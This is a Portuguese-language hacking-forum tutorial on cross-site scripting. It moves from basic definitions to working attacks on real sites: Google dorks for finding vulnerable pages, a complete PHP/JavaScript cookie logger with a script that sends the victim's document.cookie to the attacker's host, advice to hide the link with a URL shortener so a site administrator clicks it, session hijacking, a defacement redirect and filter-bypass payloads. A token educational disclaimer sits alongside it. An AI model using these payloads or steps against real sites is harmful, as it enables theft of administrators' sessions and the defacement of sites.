Sup HackCommunity
Este é meu primeiro tutorial no HackCommunity. Vou explicar em profundidade o que é XSS e como ele funciona.
Vou tentar explicar da maneira mais n00b amigável.
Mesmo os maiores sites podem ser vulneráveis ao XSS!! Portanto, nunca subestime isso!
TENHA EM MENTE : Isto é apenas para fins educacionais e informativos, então Me & HackCommunity não será responsabilizado por negócios feitos por você.
O que é XSS?
[ * ]"XSS" é uma abreviação de: "Cross Site Scripting" como você pode ver pelo nome, XSS
lida com scripts. Para ser mais exato: Javascript.
Trata-se de injetar (quase) todos os
comandos/scripts Javascript (e html/css) em um site.
As falhas de XSS surgem toda vez que um site não filtra a entrada dos invasores.
Em outras palavras:
o invasor pode injetar seu script malicioso em um site e o navegador apenas
executa o código ou script.
O que é HTML?
[ * ]HyperText Markup Language (HTML) é a principal linguagem de marcação para criar páginas da web e outras informações que podem ser exibidas em um navegador da web.
O que é Javascript?
[ * ]JavaScript (JS) é uma linguagem de programação de computador interpretada. Como parte dos navegadores da Web, as implementações permitem que os scripts do lado do cliente interajam com o usuário, controlem o navegador, comuniquem-se de forma assíncrona e alterem o conteúdo do documento exibido. Também se tornou comum na programação do lado do servidor, desenvolvimento de jogos e criação de aplicativos de desktop.
Diferença entre Java e Javascript
[ * ]Java é uma linguagem de programação OOP enquanto Java Script é uma linguagem de script OOP.
Java cria aplicativos que são executados em uma máquina virtual ou navegador, enquanto o código JavaScript é executado apenas em um navegador.
O código Java precisa ser compilado enquanto o código JavaScript está todo em texto.
Eles exigem plug-ins diferentes.
Tipos de XSS:
[ * ]Ataque XSS refletido ou não persistente:
quando um invasor injeta seu script malicioso em uma consulta de pesquisa, uma caixa de pesquisa
ou no final de um URL, ele é chamado de Ataque XSS refletido. É como jogar uma bola
contra a parede e recebê-la de volta.
[ * ]Ataque XSS armazenado ou persistente:
É quando um script XSS injetado é armazenado permanentemente em um site, por exemplo, em
um livro de visitas ou quadro de avisos. O XSS armazenado atingiu todos que acessaram o
site com o código malicioso.
[ * ]Vulnerabilidades tradicionais versus baseadas em DOM
Este é um método usado raramente. Tradicionalmente, as vulnerabilidades de script entre sites ocorreriam no código do lado do servidor responsável por preparar a resposta HTML a ser entregue ao usuário. As vulnerabilidades baseadas em DOM ocorrem nos estágios de processamento de conteúdo executados pelo cliente, normalmente em JavaScript do lado do cliente.
Precisamos ter algum conhecimento antes de tentar executar o ataque XSS, por isso fiz a lista acima.
Como podemos encontrar sites vulneráveis a XSS?
[ * ]Google Dorks
[ * ]Scanners de vulnerabilidade da Web
[ * ]Manualmente
[ * ] Google Dorks:
Código:
inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx
[ * ] Scanners de vulnerabilidade da Web:
Código:
Acunetix
Skipfish
OWASP Zap
Nessus , etc
[ * ] Manual que vou explicar para você agora.
Você não precisa adicionar vetores aleatórios à caixa de pesquisa ou o que quer que seja, basta analisar o código-fonte.
Então... podemos dar uma olhada dentro do código e ver o que diabos está acontecendo lá?
SIM !
Então, vou mostrar a vocês como analisar o código-fonte e manipular essa maldita caixa de alerta para a porra do prompt.
Ok, esta é a minha caixa de entrada onde vou inserir:
Código:
dR.0xYw0Rm
Vamos clicar em obter código-fonte e veremos o que está acontecendo dentro do código-fonte.
Código:
<textarea cols="80" rows="20" name="headers">dR.0xYw0Rm</textarea>
Hmmm.. vamos tentar fechar as tags </textarea> assim:
Código:
</textarea>dR.0xYw0Rm
Vamos entrar novamente no código-fonte e verificar..
Então, como podemos ver agora, o código-fonte mudou de:
Código:
dR.0xYw0Rm</textarea>
para
Código:
</textarea>dR.0xYw0Rm
O que significa que fechamos as tags textarea e podemos tentar inserir nosso código maligno.. Vamos dar uma olhada na página... você vê alguma diferença?
Ok o dR.0xYw0Rm acabou saindo da caixa Língua
Vamos tentar inserir o código javascript agora *devilface*
Código:
<script>alert("dR.0xYw0Rm")</script>
Vamos verificar o código-fonte:
Nenhuma caixa solicitada?
Código:
<textarea cols="80" rows="20" name="headers"></textarea><script>alert(\"dR.0xYw0Rm\")</script>
Droga, as aspas -> " < - foram
filtradas . criptografar nosso texto para a linguagem ASCII com uma função chamada "String.FromCharCode" text to ASCII
Código:
</textarea><script>alert(String.fromCharCode(100,82,46,48,120,89,119,48,82,109))</script>
Não se sinta confuso!
Os números abaixo são os valores ASCII para dR.0xYw0Rm
Código:
100,82,46,48,120,89,119,48,82,109
Portanto, nosso código não contém mais aspas.:dance:
Vamos inseri-lo na caixa
Vamos clicar em "obter fonte" para executar o código,
então aqui está !! Recebemos a caixa de alerta que significa que o alvo está vulnerável ao XSS !!!
Esta é a maneira correta de verificar vulnerabilidades XSS em sites.
Métodos Avançados XSS
Agora vou compartilhar com vocês algumas maneiras de usar o XSS contra um alvo.
LEMBRE-SE QUE QUALQUER COISA DE MAL QUE VOCÊ FAZ A UM ALVO, VOCÊ PODE ACABAR EM PROBLEMAS REALMENTE GRANDES!! ASSIM, QUALQUER COISA QUE VOCÊ FAZ, VOCÊ FAZ POR CONTA PRÓPRIA, ISTO É APENAS PARA FINS EDUCATIVOS E INFORMATIVOS!!!
roubo de cookies
[ * ]O roubo de cookies é o ataque mais perigoso que podemos fazer com um XSS Não Persistente , ele vai logar os cookies do usuário que vai acessar a página de um determinado doc.
Agora vou te explicar passo a passo como fazer isso.
Primeiro precisamos encontrar um site de hospedagem, pessoalmente sugiro que você use 000webhost.com para fazer upload de códigos maliciosos ou qualquer outra coisa. Então vamos abrir uma conta lá.
Agora que criamos nosso site, vamos ao Gerenciador de Arquivos , crie um novo arquivo , renomeie-o como CookieLog.txt
Deixe esse arquivo em branco, não coloque nada dentro. Agora crie outro arquivo chamado CookieLogger .php
Neste arquivo temos que adicionar algum código para que ele envie os cookies que irão logar no CookieLog.txt
Então adicione o código abaixo ao CookieLogger.php , não esqueça de nomeá-lo com a extensão .php senão não funcionará!
Código:
<?php
/*
* Created on 16. april. 2007
* Created by Audun Larsen (audun@munio.no)
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
if(strlen($_SERVER['QUERY_STRING']) > 0) {
$fp=fopen('./CookieLog.txt', 'a');
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
fclose($fp);
} else {
?>
var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';
// ==
// URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
// web site you include a credit somewhere on the web site
// with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() - now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
// The Javascript escape and unescape functions do not correspond
// with what browsers actually do...
var SAFECHARS = "0123456789" + // Numeric
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
"abcdefghijklmnopqrstuvwxyz" +
"-_.!~*'()"; // RFC2396 Mark characters
var HEX = "0123456789ABCDEF";
var plaintext = str;
var encoded = "";
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == " ") {
encoded += "+"; // x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( "Unicode Character '"
+ ch
+ "' cannot be encoded using standard URL encoding.\n" +
"(URL encoding only supports 8-bit characters.)\n" +
"A space (+) will be substituted." );
encoded += "+";
} else {
encoded += "%";
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for
return encoded;
};
cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);
< ?php
}
?>
Agora que temos nosso registrador de cookies, temos que enviá-lo para a vítima, que será o administrador do site.
Para que a URL seja menos suspeita, precisamos Minúsculo da Url.
Vamos para tinyurl.com e colocamos a url, mas não esqueça de adicionar o script no final da url
e depois Tiny it!
Este é o roteiro:
Código:
<script>document.location="http://www.myhost.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>
Depois de obter o cookie, você pode usar o addon do firefox chamado " Cookie Manager " para manipular ou editar o cookie para que você possa seqüestrar a sessão do administrador.
DEFACE
Para desfigurar um site com XSS, você precisa encontrar um XSS persistente.
Você pode usar o script abaixo para redirecionar os visitantes para sua página de desfiguração. Sugiro que você use
pastehtml[dot]com, pois permite upload anônimo.
Código:
<script>window.location="http://www.pastehtml.com/YOURDEFACE/";</script>
Métodos de desvio de filtros XSS:
[ * ] Ignorar ASCII
[ * ] Ignorar Hex
[ * ] Diferenciar maiúsculas de minúsculas
[ * ] Ignorar ASCII quando magic_quotes_gpc=ON
Faz com que cada " (aspas duplas) ' (aspas simples) e \ (barra invertida)
sejam escapadas com uma barra invertida automaticamente .
Como ignorá-lo?
Use a função javascript chamada
Código:
String.fromCharCode()
apenas converta seu texto em caracteres decimais como mostrei a vocês quando estávamos executando o "ataque"
[ * ]Hex Bypassing
Codificamos nosso script em Hex para que não possamos ver claramente à primeira vista o que o código causará.
O texto:
Código:
<script>alert(dR.0xYw0Rm)</script>
Como contorná-lo?
O texto codificado em Hex:
Código:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%52%2e%30%78%59%77%30%52%6d%29%3c%2f%73%63%72%69%70%74%3e
[ * ] Desvio sensível a maiúsculas
Este tipo de desvio funciona apenas em filtros realmente antigos e filtros estúpidos, mas sempre vale a pena tentar!
Tudo o que precisamos fazer é executar um script com diferentes tamanhos de caracteres.
Como contorná-lo?
Código:
<sCrIpT>alert('dR.0xYw0Rm');</ScRiPt>
Espero ter esclarecido o que é XSS e como funciona, se precisar de ajuda não hesite em me mandar mensagem privada.
Este tutorial foi escrito por mim e levou muito tempo.
Um simples obrigado para manter o tópico vivo seria apreciado.